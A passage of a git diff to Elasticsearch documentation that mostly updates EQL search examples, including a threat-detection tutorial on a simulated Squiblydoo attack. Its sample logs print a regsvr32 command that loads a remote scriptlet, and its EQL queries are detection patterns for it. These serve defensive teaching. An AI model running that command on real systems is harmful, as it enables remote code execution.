`index`. *If dynamic mapping is turned on (default), the document fields not in the original diff --git a/docs/reference/docs/update-by-query.asciidoc b/docs/reference/docs/update-by-query.asciidoc index 72e52071b9aa4..fa68f219ff075 100644 --- a/docs/reference/docs/update-by-query.asciidoc +++ b/docs/reference/docs/update-by-query.asciidoc @@ -51,7 +51,7 @@ POST my-index-000001/_update_by_query?conflicts=proceed * If the {es} {security-features} are enabled, you must have the following <> for the target data stream, index, -or index alias: +or alias: ** `read` ** `index` or `write` @@ -69,7 +69,10 @@ When the versions match, the document is updated and the version number is incre If a document changes between the time that the snapshot is taken and the update operation is processed, it results in a version conflict and the operation fails. You can opt to count version conflicts instead of halting and returning by -setting `conflicts` to `proceed`. +setting `conflicts` to `proceed`. Note that if you opt to count +version conflicts the operation could attempt to update more documents from the source than +`max_docs` until it has successfully updated `max_docs` documents, or it has gone through every document +in the source query. NOTE: Documents with a version equal to 0 cannot be updated using update by query because `internal` versioning does not support 0 as a valid @@ -119,7 +122,7 @@ to disable throttling. Throttling uses a wait time between batches so that the internal scroll requests can be given a timeout that takes the request padding into account. The padding time is the difference between the batch size divided by the -`requests_per_second` and the time spent writing. By default the batch size is +`requests_per_second` and the time spent writing. By default the batch size is `1000`, so if `requests_per_second` is set to `500`: [source,txt] @@ -159,12 +162,9 @@ documents being reindexed and cluster resources. ==== {api-path-parms-title} ``:: -(Optional, string) -Comma-separated list of data streams, indices, and index aliases to search. -Wildcard (`*`) expressions are supported. -+ -To search all data streams or indices in a cluster, omit this parameter or use -`_all` or `*`. +(Optional, string) Comma-separated list of data streams, indices, and aliases to +search. Supports wildcards (`*`). To search all data streams or indices, omit +this parameter or use `*` or `_all`. [[docs-update-by-query-api-query-params]] ==== {api-query-parms-title} diff --git a/docs/reference/docs/update.asciidoc b/docs/reference/docs/update.asciidoc index a30fd0e32e68e..cffbe2037c9e7 100644 --- a/docs/reference/docs/update.asciidoc +++ b/docs/reference/docs/update.asciidoc @@ -191,7 +191,7 @@ POST test/_update/1 // TEST[continued] Instead of updating the document, you can also change the operation that is -executed from within the script. For example, this request deletes the doc if +executed from within the script. For example, this request deletes the doc if the `tags` field contains `green`, otherwise it does nothing (`noop`): [source,console] @@ -285,7 +285,7 @@ POST test/_update/1 ===== Upsert If the document does not already exist, the contents of the `upsert` element -are inserted as a new document. If the document exists, the +are inserted as a new document. If the document exists, the `script` is executed: [source,console] diff --git a/docs/reference/eql/detect-threats-with-eql.asciidoc b/docs/reference/eql/detect-threats-with-eql.asciidoc index 928c388d6de10..136908413f605 100644 --- a/docs/reference/eql/detect-threats-with-eql.asciidoc +++ b/docs/reference/eql/detect-threats-with-eql.asciidoc @@ -36,13 +36,35 @@ events imitating a Squiblydoo attack. The data has been mapped to To get started: +. Create an <> with +<>: ++ +//// +[source,console] +---- +DELETE /_data_stream/* +DELETE /_index_template/* +---- +// TEARDOWN +//// ++ +[source,console] +---- +PUT /_index_template/my-data-stream-template +{ + "index_patterns": [ "my-data-stream*" ], + "data_stream": { }, + "priority": 500 +} +---- + . Download https://raw.githubusercontent.com/elastic/elasticsearch/{branch}/docs/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json[`normalized-T1117-AtomicRed-regsvr32.json`]. -. Use the <> to index the data: +. Use the <> to index the data to a matching stream: + [source,sh] ---- -curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-index-000001/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json" +curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-data-stream/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json" ---- // NOTCONSOLE @@ -50,7 +72,7 @@ curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-index-000001/ + [source,console] ---- -GET /_cat/indices/my-index-000001?v=true&h=health,status,index,docs.count +GET /_cat/indices/my-data-stream?v=true&h=health,status,index,docs.count ---- // TEST[setup:atomic_red_regsvr32] + @@ -58,10 +80,10 @@ The response should show a `docs.count` of `150`. + [source,txt] ---- -health status index docs.count -yellow open my-index-000001 150 +health status index docs.count +yellow open .ds-my-data-stream-2099.12.07-000001 150 ---- -// TESTRESPONSE[non_json] +// TESTRESPONSE[s/.ds-my-data-stream-2099.12.07-000001/.+/ non_json] [discrete] [[eql-ex-get-a-count-of-regsvr32-events]] @@ -71,7 +93,7 @@ First, get a count of events associated with a `regsvr32.exe` process: [source,console] ---- -GET /my-index-000001/_eql/search?filter_path=-hits.events <1> +GET /my-data-stream/_eql/search?filter_path=-hits.events <1> { "query": """ any where process.name == "regsvr32.exe" <2> @@ -116,7 +138,7 @@ utility. Narrow your results to processes where the command line was used: [source,console] ---- -GET /my-index-000001/_eql/search +GET /my-data-stream/_eql/search { "query": """ process where process.name == "regsvr32.exe" and process.command_line.keyword != null @@ -133,10 +155,7 @@ This fits the behavior of a Squiblydoo attack. [source,console-result] ---- { - "is_partial": false, - "is_running": false, - "took": 21, - "timed_out": false, + ... "hits": { "total": { "value": 1, @@ -144,7 +163,7 @@ This fits the behavior of a Squiblydoo attack. }, "events": [ { - "_index": "my-index-000001", + "_index": ".ds-my-data-stream-2099.12.07-000001", "_id": "gl5MJXMBMk1dGnErnBW8", "_source": { "process": { @@ -177,7 +196,8 @@ This fits the behavior of a Squiblydoo attack. } } ---- -// TESTRESPONSE[s/"took": 21/"took": $body.took/] +// TESTRESPONSE[s/ \.\.\.\n/"is_partial": false, "is_running": false, "took": $body.took, "timed_out": false,/] +// TESTRESPONSE[s/"_index": ".ds-my-data-stream-2099.12.07-000001"/"_index": $body.hits.events.0._index/] // TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/] [discrete] @@ -188,7 +208,7 @@ Check if `regsvr32.exe` later loads the `scrobj.dll` library: [source,console] ---- -GET /my-index-000001/_eql/search +GET /my-data-stream/_eql/search { "query": """ library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll" @@ -202,10 +222,7 @@ The query matches an event, confirming `scrobj.dll` was loaded. [source,console-result] ---- { - "is_partial": false, - "is_running": false, - "took": 5, - "timed_out": false, + ... "hits": { "total": { "value": 1, @@ -213,7 +230,7 @@ The query matches an event, confirming `scrobj.dll` was loaded. }, "events": [ { - "_index": "my-index-000001", + "_index": ".ds-my-data-stream-2099.12.07-000001", "_id": "ol5MJXMBMk1dGnErnBW8", "_source": { "process": { @@ -236,7 +253,8 @@ The query matches an event, confirming `scrobj.dll` was loaded. } } ---- -// TESTRESPONSE[s/"took": 5/"took": $body.took/] +// TESTRESPONSE[s/ \.\.\.\n/"is_partial": false, "is_running": false, "took": $body.took, "timed_out": false,/] +// TESTRESPONSE[s/"_index": ".ds-my-data-stream-2099.12.07-000001"/"_index": $body.hits.events.0._index/] // TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/] [discrete] @@ -258,7 +276,7 @@ detect similar threats. [source,console] ---- -GET /my-index-000001/_eql/search +GET /my-data-stream/_eql/search { "query": """ sequence by process.pid @@ -275,10 +293,7 @@ The query matches a sequence, indicating the attack likely succeeded. [source,console-result] ---- { - "is_partial": false, - "is_running": false, - "took": 25, - "timed_out": false, + ... "hits": { "total": { "value": 1, @@ -291,7 +306,7 @@ The query matches a sequence, indicating the attack likely succeeded. ], "events": [ { - "_index": "my-index-000001", + "_index": ".ds-my-data-stream-2099.12.07-000001", "_id": "gl5MJXMBMk1dGnErnBW8", "_source": { "process": { @@ -321,7 +336,7 @@ The query matches a sequence, indicating the attack likely succeeded. } }, { - "_index": "my-index-000001", + "_index": ".ds-my-data-stream-2099.12.07-000001", "_id": "ol5MJXMBMk1dGnErnBW8", "_source": { "process": { @@ -341,7 +356,7 @@ The query matches a sequence, indicating the attack likely succeeded. } }, { - "_index": "my-index-000001", + "_index": ".ds-my-data-stream-2099.12.07-000001", "_id": "EF5MJXMBMk1dGnErnBa9", "_source": { "process": { @@ -379,7 +394,8 @@ The query matches a sequence, indicating the attack likely succeeded. } } ---- -// TESTRESPONSE[s/"took": 25/"took": $body.took/] +// TESTRESPONSE[s/ \.\.\.\n/"is_partial": false, "is_running": false, "took": $body.took, "timed_out": false,/] +// TESTRESPONSE[s/"_index": ".ds-my-data-stream-2099.12.07-000001"/"_index": $body.hits.sequences.0.events.0._index/] // TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.0._id/] // TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.1._id/] // TESTRESPONSE[s/"_id": "EF5MJXMBMk1dGnErnBa9"/"_id": $body.hits.sequences.0.events.2._id/] diff --git a/docs/reference/eql/eql-search-api.asciidoc b/docs/reference/eql/eql-search-api.asciidoc index 8cbc57fa94f96..3e77158ec8d0b 100644 --- a/docs/reference/eql/eql-search-api.asciidoc +++ b/docs/reference/eql/eql-search-api.asciidoc @@ -12,9 +12,18 @@ Returns search results for an <> query. EQL assumes each document in a data stream or index corresponds to an event. +//// [source,console] ---- -GET /my-index-000001/_eql/search +DELETE /_data_stream/* +DELETE /_index_template/* +---- +// TEARDOWN +//// + +[source,console] +---- +GET /my-data-stream/_eql/search { "query": """ process where process.name == "regsvr32.exe" @@ -35,7 +44,7 @@ GET /my-index-000001/_eql/search * If the {es} {security-features} are enabled, you must have the `read` <> for the target data stream, index, -or index alias. +or alias. * See <>. @@ -48,12 +57,9 @@ See <>. ==== {api-path-parms-title} ``:: -(Required, string) -Comma-separated list of data streams, indices, or <> used to limit the request. Accepts wildcard (`*`) expressions. -+ -To search all data streams and indices in a cluster, use -`_all` or `*`. +(Required, string) Comma-separated list of data streams, indices, or aliases +used to limit the request. Supports wildcards (`*`). To search all data streams +and indices, use `*` or `_all`. [[eql-search-api-query-params]] ==== {api-query-parms-title} @@ -64,11 +70,11 @@ To search all data streams and indices in a cluster, use NOTE: This parameter's behavior differs from the `allow_no_indices` parameter used in other <>. + -If `false`, the request returns an error if any wildcard expression, -<>, or `_all` value targets only missing or closed -indices. This behavior applies even if the request targets other open indices. -For example, a request targeting `foo*,bar*` returns an error if an index -starts with `foo` but no index starts with `bar`. +If `false`, the request returns an error if any wildcard pattern, alias, or +`_all` value targets only missing or closed indices. This behavior applies even +if the request targets other open indices. For example, a request targeting +`foo*,bar*` returns an error if an index starts with `foo` but no index starts +with `bar`. + If `true`, only requests that exclusively target missing or closed indices return an error. For example, a request targeting `foo*,bar*` does not return an @@ -185,6 +191,34 @@ returned. + A greater `fetch_size` value often increases search speed but uses more memory. +`fields`:: +(Optional, array of strings and objects) +Array of wildcard (`*`) patterns. The response returns values for field names +matching these patterns in the `fields` property of each hit. ++ +You can specify items in the array as a string or object. ++ +.Properties of `fields` objects +[%collapsible%open] +==== +`field`:: +(Required, string) +Wildcard pattern. The request returns values for field names matching this +pattern. + +`format`:: +(Optional, string) +Format in which the values are returned. ++ +<> and <> fields accept a +<>. <> +accept either `geojson` for http://www.geojson.org[GeoJSON] (the default) or +`wkt` for {wikipedia}/Well-known_text_representation_of_geometry[Well Known +Text]. ++ +For other field data types, this parameter is not supported. +==== + `filter`:: (Optional, <>) Query, written in Query DSL, used to filter the events on which the EQL query @@ -257,6 +291,8 @@ command]. NOTE: This parameter may change the set of returned hits. However, it does not change the sort order of hits in the response. +include::{es-repo-dir}/search/search.asciidoc[tag=runtime-mappings-def] + `size`:: (Optional, integer or float) For <>, the maximum number of matching events to @@ -505,7 +541,7 @@ The following EQL search request searches for events with an `event.category` of [source,console] ---- -GET /my-index-000001/_eql/search +GET /my-data-stream/_eql/search { "query": """ process where (process.name == "cmd.exe" and process.pid != 2013) @@ -537,7 +573,7 @@ the events in ascending order. }, "events": [ { - "_index": "my-index-000001", + "_index": ".ds-my-data-stream-2099.12.07-000001", "_id": "babI3XMBI9IjHuIqU0S_", "_source": { "@timestamp": "2099-12-06T11:04:05.000Z", @@ -554,7 +590,7 @@ the events in ascending order. } }, { - "_index": "my-index-000001", + "_index": ".ds-my-data-stream-2099.12.07-000001", "_id": "b6bI3XMBI9IjHuIqU0S_", "_source": { "@timestamp": "2099-12-07T11:06:07.000Z", @@ -575,6 +611,7 @@ the events in ascending order. } ---- // TESTRESPONSE[s/"took": 6/"took": $body.took/] +// TESTRESPONSE[s/"_index": ".ds-my-data-stream-2099.12.07-000001"/"_index": $body.hits.events.0._index/] // TESTRESPONSE[s/"_id": "babI3XMBI9IjHuIqU0S_"/"_id": $body.hits.events.0._id/] // TESTRESPONSE[s/"_id": "b6bI3XMBI9IjHuIqU0S_"/"_id": $body.hits.events.1._id/] @@ -602,7 +639,7 @@ These events must also share the same `process.pid` value. [source,console] ---- -GET /my-index-000001/_eql/search +GET /my-data-stream/_eql/search { "query": """ sequence by process.pid @@ -636,7 +673,7 @@ shared `process.pid` value for each matching event. ], "events": [ { - "_index": "my-index-000001", + "_index": ".ds-my-data-stream-2099.12.07-000001", "_id": "AtOJ4UjUBAAx3XR5kcCM", "_source": { "@timestamp": "2099-12-06T11:04:07.000Z", @@ -660,7 +697,7 @@ shared `process.pid` value for each matching event. } }, { - "_index": "my-index-000001", + "_index": ".ds-my-data-stream-2099.12.07-000001", "_id": "OQmfCaduce8zoHT93o4H", "_source": { "@timestamp": "2099-12-07T11:07:09.000Z", @@ -684,5 +721,6 @@ shared `process.pid` value for each matching event. } ---- // TESTRESPONSE[s/"took": 6/"took": $body.took/] +// TESTRESPONSE[s/"_index": ".ds-my-data-stream-2099.12.07-000001"/"_index": $body.hits.sequences.0.events.0._index/] // TESTRESPONSE[s/"_id": "AtOJ4UjUBAAx3XR5kcCM"/"_id": $body.hits.sequences.0.events.0._id/] // TESTRESPONSE[s/"_id": "OQmfCaduce8zoHT93o4H"/"_id": $body.hits.sequences.0.events.1._id/] diff --git a/docs/reference/eql/eql.asciidoc b/docs/reference/eql/eql.asciidoc index 4f9587fa071c3..e23891e79cae3 100644 --- a/docs/reference/eql/eql.asciidoc +++ b/docs/reference/eql/eql.asciidoc @@ -11,7 +11,7 @@ data, such as logs, metrics, and traces. [discrete] [[eql-advantages]] -== Advantages of EQL +=== Advantages of EQL * *EQL lets you express relationships between events.* + Many query languages allow you to match single events. EQL lets you match a @@ -29,7 +29,7 @@ describe activity that goes beyond IOCs. [discrete] [[eql-required-fields]] -== Required fields +=== Required fields To run an EQL search, the searched data stream or index must contain a _timestamp_ and _event category_ field. By default, EQL uses the `@timestamp` @@ -43,16 +43,23 @@ default. [discrete] [[run-an-eql-search]] -== Run an EQL search +=== Run an EQL search Use the <> to run a <>. If the {es} {security-features} are enabled, you must have the `read` -<> for the target data stream, index, -or index alias. +query>>. +//// [source,console] ---- -GET /my-index-000001/_eql/search +DELETE /_data_stream/* +DELETE /_index_template/* +---- +// TEARDOWN +//// + +[source,console] +---- +GET /my-data-stream/_eql/search { "query": """ process where process.name == "regsvr32.exe" @@ -79,7 +86,7 @@ milliseconds since the {wikipedia}/Unix_time[Unix epoch], in ascending order. }, "events": [ { - "_index": "my-index-000001", + "_index": ".ds-my-data-stream-2099.12.07-000001", "_id": "OQmfCaduce8zoHT93o4H", "_source": { "@timestamp": "2099-12-07T11:07:09.000Z", @@ -97,7 +104,7 @@ milliseconds since the {wikipedia}/Unix_time[Unix epoch], in ascending order. } }, { - "_index": "my-index-000001", + "_index": ".ds-my-data-stream-2099.12.07-000001", "_id": "xLkCaj4EujzdNSxfYLbO", "_source": { "@timestamp": "2099-12-07T11:07:10.000Z", @@ -119,6 +126,7 @@ milliseconds since the {wikipedia}/Unix_time[Unix epoch], in ascending order. } ---- // TESTRESPONSE[s/"took": 60/"took": $body.took/] +// TESTRESPONSE[s/"_index": ".ds-my-data-stream-2099.12.07-000001"/"_index": $body.hits.events.0._index/] // TESTRESPONSE[s/"_id": "OQmfCaduce8zoHT93o4H"/"_id": $body.hits.events.0._id/] // TESTRESPONSE[s/"_id": "xLkCaj4EujzdNSxfYLbO"/"_id": $body.hits.events.1._id/] @@ -126,7 +134,7 @@ Use the `size` parameter to get a smaller or larger set of hits: [source,console] ---- -GET /my-index-000001/_eql/search +GET /my-data-stream/_eql/search { "query": """ process where process.name == "regsvr32.exe" @@ -136,49 +144,6 @@ GET /my-index-000001/_eql/search ---- // TEST[setup:sec_logs] -Use the <> query parameter to -filter the API response. For example, the following search returns only the -timestamp and PID for each matching event. - -[source,console] ----- -GET /my-index-000001/_eql/search?filter_path=hits.events._source.@timestamp,hits.events._source.process.pid -{ - "query": """ - process where process.name == "regsvr32.exe" - """ -} ----- -// TEST[setup:sec_logs] - -The API returns the following response. - -[source,console-result] ----- -{ - "hits" : { - "events" : [ - { - "_source" : { - "@timestamp" : "2099-12-07T11:07:09.000Z", - "process" : { - "pid" : 2012 - } - } - }, - { - "_source" : { - "@timestamp" : "2099-12-07T11:07:10.000Z", - "process" : { - "pid" : 2012 - } - } - } - ] - } -} ----- - [discrete] [[eql-search-sequence]] === Search for a sequence of events @@ -189,7 +154,7 @@ with the most recent event listed last: [source,console] ---- -GET /my-index-000001/_eql/search +GET /my-data-stream/_eql/search { "query": """ sequence @@ -206,20 +171,14 @@ sequences. [source,console-result] ---- { - "is_partial": false, - "is_running": false, - "took": 60, - "timed_out": false, + ... "hits": { - "total": { - "value": 1, - "relation": "eq" - }, + "total": ..., "sequences": [ { "events": [ { - "_index": "my-index-000001", + "_index": ".ds-my-data-stream-2099.12.07-000001", "_id": "OQmfCaduce8zoHT93o4H", "_source": { "@timestamp": "2099-12-07T11:07:09.000Z", @@ -237,7 +196,7 @@ sequences. } }, { - "_index": "my-index-000001", + "_index": ".ds-my-data-stream-2099.12.07-000001", "_id": "yDwnGIJouOYGBzP0ZE9n", "_source": { "@timestamp": "2099-12-07T11:07:10.000Z", @@ -263,7 +222,9 @@ sequences. } } ---- -// TESTRESPONSE[s/"took": 60/"took": $body.took/] +// TESTRESPONSE[s/ \.\.\.\n/"is_partial": false, "is_running": false, "took": $body.took, "timed_out": false,/] +// TESTRESPONSE[s/"total": \.\.\.,/"total": { "value": 1, "relation": "eq" },/] +// TESTRESPONSE[s/"_index": ".ds-my-data-stream-2099.12.07-000001"/"_index": $body.hits.sequences.0.events.0._index/] // TESTRESPONSE[s/"_id": "OQmfCaduce8zoHT93o4H"/"_id": $body.hits.sequences.0.events.0._id/] // TESTRESPONSE[s/"_id": "yDwnGIJouOYGBzP0ZE9n"/"_id": $body.hits.sequences.0.events.1._id/] @@ -272,7 +233,7 @@ matching sequences to a timespan: [source,console] ---- -GET /my-index-000001/_eql/search +GET /my-data-stream/_eql/search { "query": """ sequence with maxspan=1h @@ -288,7 +249,7 @@ same field values: [source,console] ---- -GET /my-index-000001/_eql/search +GET /my-data-stream/_eql/search { "query": """ sequence with maxspan=1h @@ -304,7 +265,7 @@ keyword. The following query is equivalent to the previous one. [source,console] ---- -GET /my-index-000001/_eql/search +GET /my-data-stream/_eql/search { "query": """ sequence by process.pid with maxspan=1h @@ -320,76 +281,29 @@ The `hits.sequences.join_keys` property contains the shared field values. [source,console-result] ---- { - "is_partial": false, - "is_running": false, - "took": 60, - "timed_out": false, - "hits": { - "total": { - "value": 1, - "relation": "eq" - }, + ... + "hits": ..., "sequences": [ { "join_keys": [ 2012 ], - "events": [ - { - "_index": "my-index-000001", - "_id": "OQmfCaduce8zoHT93o4H", - "_source": { - "@timestamp": "2099-12-07T11:07:09.000Z", - "event": { - "category": "process", - "id": "aR3NWVOs", - "sequence": 4 - }, - "process": { - "pid": 2012, - "name": "regsvr32.exe", - "command_line": "regsvr32.exe /s /u /i:https://...RegSvr32.sct scrobj.dll", - "executable": "C:\\Windows\\System32\\regsvr32.exe" - } - } - }, - { - "_index": "my-index-000001", - "_id": "yDwnGIJouOYGBzP0ZE9n", - "_source": { - "@timestamp": "2099-12-07T11:07:10.000Z", - "event": { - "category": "file", - "id": "tZ1NWVOs", - "sequence": 5 - }, - "process": { - "pid": 2012, - "name": "regsvr32.exe", - "executable": "C:\\Windows\\System32\\regsvr32.exe" - }, - "file": { - "path": "C:\\Windows\\System32\\scrobj.dll", - "name": "scrobj.dll" - } - } - } - ] + "events": ... } ] } } ---- -// TESTRESPONSE[s/"took": 60/"took": $body.took/] -// TESTRESPONSE[s/"_id": "OQmfCaduce8zoHT93o4H"/"_id": $body.hits.sequences.0.events.0._id/] -// TESTRESPONSE[s/"_id": "yDwnGIJouOYGBzP0ZE9n"/"_id": $body.hits.sequences.0.events.1._id/] +// TESTRESPONSE[s/ \.\.\.\n/"is_partial": false, "is_running": false, "took": $body.took, "timed_out": false,/] +// TESTRESPONSE[s/"hits": \.\.\.,/"hits": { "total": { "value": 1, "relation": "eq" },/] +// TESTRESPONSE[s/"events": \.\.\./"events": $body.hits.sequences.0.events/] Use the <> to specify an expiration event for sequences. Matching sequences must end before this event. [source,console] ---- -GET /my-index-000001/_eql/search +GET /my-data-stream/_eql/search { "query": """ sequence by process.pid with maxspan=1h @@ -401,6 +315,204 @@ GET /my-index-000001/_eql/search ---- // TEST[setup:sec_logs] +[discrete] +[[retrieve-selected-fields]] +=== Retrieve selected fields + +By default, each hit in the search response includes the document `_source`, +which is the entire JSON object that was provided when indexing the document. + +You can use the <> query +parameter to filter the API response. For example, the following search returns +only the timestamp and PID from the `_source` of each matching event. + +[source,console] +---- +GET /my-data-stream/_eql/search?filter_path=hits.events._source.@timestamp,hits.events._source.process.pid +{ + "query": """ + process where process.name == "regsvr32.exe" + """ +} +---- +// TEST[setup:sec_logs] + +The API returns the following response. + +[source,console-result] +---- +{ + "hits": { + "events": [ + { + "_source": { + "@timestamp": "2099-12-07T11:07:09.000Z", + "process": { + "pid": 2012 + } + } + }, + { + "_source": { + "@timestamp": "2099-12-07T11:07:10.000Z", + "process": { + "pid": 2012 + } + } + } + ] + } +} +---- + +You can also use the `fields` parameter to retrieve and format specific fields +in the response. This field is identical to the search API's +<>. + +include::{es-repo-dir}/search/search-your-data/retrieve-selected-fields.asciidoc[tag=fields-param-desc] + +The following search request uses the `fields` parameter to retrieve values for +the `event.type` field, all fields starting with `process.`, and the +`@timestamp` field. The request also uses the `filter_path` query parameter to +exclude the `_source` of each hit. + +[source,console] +---- +GET /my-data-stream/_eql/search?filter_path=-hits.events._source +{ + "query": """ + process where process.name == "regsvr32.exe" + """, + "fields": [ + "event.type", + "process.*", <1> + { + "field": "@timestamp", + "format": "epoch_millis" <2> + } + ] +} +---- +// TEST[setup:sec_logs] + +include::{es-repo-dir}/search/search-your-data/retrieve-selected-fields.asciidoc[tag=fields-param-callouts] + +The response includes values as a flat list in the `fields` section for each +hit. + +[source,console-result] +---- +{ + ... + "hits": { + "total": ..., + "events": [ + { + "_index": ".ds-my-data-stream-2099.12.07-000001", + "_id": "OQmfCaduce8zoHT93o4H", + "fields": { + "process.name": [ + "regsvr32.exe" + ], + "process.name.keyword": [ + "regsvr32.exe" + ], + "@timestamp": [ + "4100324829000" + ], + "process.command_line": [ + "regsvr32.exe /s /u /i:https://...RegSvr32.sct scrobj.dll" + ], + "process.command_line.keyword": [ + "regsvr32.exe /s /u /i:https://...RegSvr32.sct scrobj.dll" + ], + "process.executable.keyword": [ + "C:\\Windows\\System32\\regsvr32.exe" + ], + "process.pid": [ + 2012 + ], + "process.executable": [ + "C:\\Windows\\System32\\regsvr32.exe" + ] + } + }, + .... + ] + } +} +---- +// TESTRESPONSE[s/ \.\.\.\n/"is_partial": false, "is_running": false, "took": $body.took, "timed_out": false,/] +// TESTRESPONSE[s/"total": \.\.\.,/"total": { "value": 2, "relation": "eq" },/] +// TESTRESPONSE[s/"_index": ".ds-my-data-stream-2099.12.07-000001"/"_index": $body.hits.events.0._index/] +// TESTRESPONSE[s/"_id": "OQmfCaduce8zoHT93o4H"/"_id": $body.hits.events.0._id/] +// TESTRESPONSE[s/ \.\.\.\.\n/$body.hits.events.1/] + +[discrete] +[[eql-use-runtime-fields]] +=== Use runtime fields + +Use the `runtime_mappings` parameter to extract and create <> during a search. Use the `fields` parameter to include runtime fields +in the response. + +The following search creates a `day_of_week` runtime field from the `@timestamp` +and returns it in the response. + +[source,console] +---- +GET /my-data-stream/_eql/search?filter_path=-hits.events._source +{ + "runtime_mappings": { + "day_of_week": { + "type": "keyword", + "script": "emit(doc['@timestamp'].value.dayOfWeekEnum.toString())" + } + }, + "query": """ + process where process.name == "regsvr32.exe" + """, + "fields": [ + "@timestamp", + "day_of_week" + ] +} +---- +// TEST[setup:sec_logs] + +The API returns: + +[source,console-result] +---- +{ + ... + "hits": { + "total": ..., + "events": [ + { + "_index": ".ds-my-data-stream-2099.12.07-000001", + "_id": "OQmfCaduce8zoHT93o4H", + "fields": { + "@timestamp": [ + "2099-12-07T11:07:09.000Z" + ], + "day_of_week": [ + "MONDAY" + ] + } + }, + .... + ] + } +} +---- +// TESTRESPONSE[s/ \.\.\.\n/"is_partial": false, "is_running": false, "took": $body.took, "timed_out": false,/] +// TESTRESPONSE[s/"total": \.\.\.,/"total": { "value": 2, "relation": "eq" },/] +// TESTRESPONSE[s/"_index": ".ds-my-data-stream-2099.12.07-000001"/"_index": $body.hits.events.0._index/] +// TESTRESPONSE[s/"_id": "OQmfCaduce8zoHT93o4H"/"_id": $body.hits.events.0._id/] +// TESTRESPONSE[s/ \.\.\.\.\n/$body.hits.events.1/] + + [discrete] [[specify-a-timestamp-or-event-category-field]] === Specify a timestamp or event category field @@ -411,7 +523,7 @@ The EQL search API uses the `@timestamp` and `event.category` fields from the [source,console] ---- -GET /my-index-000001/_eql/search +GET /my-data-stream/_eql/search { "timestamp_field": "file.accessed", "event_category_field": "file.type", @@ -438,15 +550,15 @@ the events in ascending order. {es} orders events with no tiebreaker value after events with a value. If you don't specify a tiebreaker field or the events also share the same -tiebreaker value, {es} considers the events concurrent. Concurrent events cannot -be part of the same sequence and may not be returned in a consistent sort order. +tiebreaker value, {es} considers the events concurrent and may +not return them in a consistent sort order. To specify a tiebreaker field, use the `tiebreaker_field` parameter. If you use the {ecs-ref}[ECS], we recommend using `event.sequence` as the tiebreaker field. [source,console] ---- -GET /my-index-000001/_eql/search +GET /my-data-stream/_eql/search { "tiebreaker_field": "event.sequence", "query": """ @@ -465,13 +577,13 @@ which an EQL query runs. [source,console] ---- -GET /my-index-000001/_eql/search +GET /my-data-stream/_eql/search { "filter": { - "range" : { - "file.size" : { - "gte" : 1, - "lte" : 1000000 + "range": { + "@timestamp": { + "gte": "now-1d/d", + "lt": "now/d" } } }, @@ -488,16 +600,15 @@ GET /my-index-000001/_eql/search By default, EQL search requests are synchronous and wait for complete results before returning a response. However, complete results can take longer for -searches across <> or -<>. +searches across large data sets, <> or <> +data, or <>. -To avoid long waits, run an async EQL search. Set the -`wait_for_completion_timeout` parameter to a duration you'd like to wait for -synchronous results. +To avoid long waits, run an async EQL search. Set `wait_for_completion_timeout` +to a duration you'd like to wait for synchronous results. [source,console] ---- -GET /frozen-my-index-000001/_eql/search +GET /my-data-stream/_eql/search { "wait_for_completion_timeout": "2s", "query": """ @@ -506,7 +617,6 @@ GET /frozen-my-index-000001/_eql/search } ---- // TEST[setup:sec_logs] -// TEST[s/frozen-my-index-000001/my-index-000001/] If the request doesn't finish within the timeout period, the search becomes async and returns a response that includes: @@ -538,10 +648,7 @@ requests. To check the progress of an async search, use the <> with the search ID. Specify how long you'd like for -complete results in the `wait_for_completion_timeout` parameter. If the {es} -{security-features} are enabled, only the user who first submitted the EQL -search can retrieve the search using this API. - +complete results in the `wait_for_completion_timeout` parameter. [source,console] ---- GET /_eql/search/FmNJRUZ1YWZCU3dHY1BIOUhaenVSRkEaaXFlZ3h4c1RTWFNocDdnY2FSaERnUTozNDE=?wait_for_completion_timeout=2s @@ -582,7 +689,7 @@ GET /_eql/search/status/FmNJRUZ1YWZCU3dHY1BIOUhaenVSRkEaaXFlZ3h4c1RTWFNocDdnY2FS "id": "FmNJRUZ1YWZCU3dHY1BIOUhaenVSRkEaaXFlZ3h4c1RTWFNocDdnY2FSaERnUTozNDE=", "is_running": false, "is_partial": false, - "expiration_time_in_millis" : 1611690295000, + "expiration_time_in_millis": 1611690295000, "completion_status": 200 } ---- @@ -599,7 +706,7 @@ parameter to change this retention period: [source,console] ---- -GET /my-index-000001/_eql/search +GET /my-data-stream/_eql/search { "keep_alive": "2d", "wait_for_completion_timeout": "2s", @@ -622,9 +729,7 @@ GET /_eql/search/FmNJRUZ1YWZCU3dHY1BIOUhaenVSRkEaaXFlZ3h4c1RTWFNocDdnY2FSaERnUTo Use the <> to manually delete an async EQL search before the `keep_alive` period ends. If the -search is still ongoing, {es} cancels the search request. If the {es} -{security-features} are enabled, only the user who first submitted the EQL -search can delete the search using this API. +search is still ongoing, {es} cancels the search request. [source,console] ---- @@ -641,7 +746,7 @@ search, set `keep_on_completion` to `true`: [source,console] ---- -GET /my-index-000001/_eql/search +GET /my-data-stream/_eql/search { "keep_on_completion": true, "wait_for_completion_timeout": "2s", diff --git a/docs/reference/eql/functions.asciidoc b/docs/reference/eql/functions.asciidoc index 187bc37d5f868..c6a8cb9a29ca4 100644 --- a/docs/reference/eql/functions.asciidoc +++ b/docs/reference/eql/functions.asciidoc @@ -654,7 +654,7 @@ multiply() + -- (Required, integer or float or `null`) -Factor to multiply. If `null`, the function returns `null`. +Factor to multiply. If `null`, the function returns `null`. Two factors are required. No more than two factors can be provided. @@ -1022,76 +1022,3 @@ If using a field as the argument, this parameter supports only <> field data types. *Returns:* integer, float, or `null` - -[discrete] -[[eql-fn-wildcard]] -=== `wildcard` - -Returns `true` if a source string matches one or more provided wildcard -expressions. Matching is case-sensitive by default. - -*Example* -[source,eql] ----- -// The * wildcard matches zero or more characters. -// process.name = "regsvr32.exe" -wildcard(process.name, "*regsvr32*") // returns true 